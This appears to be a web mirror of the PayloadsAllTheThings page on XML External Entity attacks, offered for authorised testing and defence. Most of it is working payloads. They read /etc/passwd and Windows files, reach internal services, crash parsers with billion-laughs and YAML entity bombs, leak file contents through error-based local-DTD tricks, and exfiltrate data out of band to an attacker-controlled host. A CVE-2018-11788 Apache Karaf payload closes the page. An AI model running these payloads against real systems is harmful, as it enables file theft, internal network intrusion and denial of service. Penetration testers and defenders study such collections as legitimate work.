XML External Entity
SourceOn the Atlas> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.
Payloads · Injection and Smuggling
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.
27 of 27 passages
> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.
**Internal Entity**: If an entity is declared within a DTD it is called an internal entity. Syntax: `<!ENTITY entity_name "entity_value">` **External Entity**: If an entity is declared outside a DTD it is called an external entity. Identified by `SYSTEM`. Syntax: `<!ENTITY entity_name SYSTEM "entity_value">` Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server. These are different types of entities in XML: | Type | Prefix | Where usable | | ---------------- | -------- | --------------------------- | | General entity | `&name;` | Inside XML document content | | Parameter entity | `%name;` | Only inside the DTD |
We try to display the content of the file `/etc/passwd`.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root><?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>:warning: `SYSTEM` and `PUBLIC` are almost synonym.
<!ENTITY % xxe PUBLIC "Random Text" "URL">
<!ENTITY xxe PUBLIC "Any TEXT" "URL"><!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/><!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<address>42 rue du CTF</address>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>When you can't modify the **DOCTYPE** element use the **XInclude** to target
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>:warning: : These attacks might kill the service or the server, do not use them on the production.
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.
<!DOCTYPE r [
<!ENTITY % pe_1 "<!---->">
<!ENTITY % pe_2 "%pe_1;<!---->%pe_1;">
<!ENTITY % pe_3 "%pe_2;<!---->%pe_2;">
<!ENTITY % pe_4 "%pe_3;<!---->%pe_3;">
%pe_4;
]>
<r/>If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
%local_dtd;
]>
<root></root>- [GoSecure/dtd-finder](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) - List DTDs and generate XXE payloads using those local DTDs.
Short list of DTD files already stored on Linux systems; list them with `locate .dtd`:
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtdThe file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>` The final payload becomes:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>Payloads from [infosec-au/xxe-windows.md](https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79). - Disclose local file
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file://D:\webserv2\services\web.config">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://t/#%file;'>">
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>anything</xxx>- Disclose HTTP Response
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "https://erp.company.com">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>">
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>anything</xxx>**Payload to trigger the XXE**:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/ext.dtd">
%ext;
]>
<message></message>**Content of ext.dtd**:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;**Alternative content of ext.dtd**:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % leak SYSTEM '%data;:///'>">
%eval;
%leak;Let's break down the payload: 1. `<!ENTITY % file SYSTEM "file:///etc/passwd">` This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details). 2. `<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">` This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the `/etc/passwd` content) to the end of the file path. The `%` is a URL-encoded '`%`' used to reference an entity inside an entity definition. 3. `%eval;` This line uses the eval entity, which causes the entity error to be defined. 4. `%error;` Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of `/etc/passwd`. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of `/etc/passwd` would be disclosed as part of the error message, revealing sensitive information.
Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.
The easiest way to test for a blind XXE is to try to load a remote resource such as a callback endpoint controlled by the tester.
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/x"> %ext;
]>
<r></r><!DOCTYPE root [<!ENTITY test SYSTEM 'http://[ATTACKER.DOMAIN.TLD]'>]>
<root>&test;</root>Send the content of `/etc/passwd` to `http://[ATTACKER.DOMAIN.TLD]`, you may receive only the first line.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "http://[ATTACKER.DOMAIN.TLD]/?%xxe;">
]
>
<foo>&callhome;</foo>> Yunusov, 2013
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://[ATTACKER.DOMAIN.TLD]/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://[ATTACKER.DOMAIN.TLD]/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[ATTACKER.DOMAIN.TLD]/?%file;'>">
%all;<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.10.10/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://10.10.10.10/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.10.10/dtd.xml?%data;'>">CVE-2018-11788 affecting versions: - Apache Karaf <= 4.2.1 - Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://[ATTACKER.DOMAIN.TLD]"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>Send the XML file to the `deploy` folder. Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788)
Data as of 2026-11-14.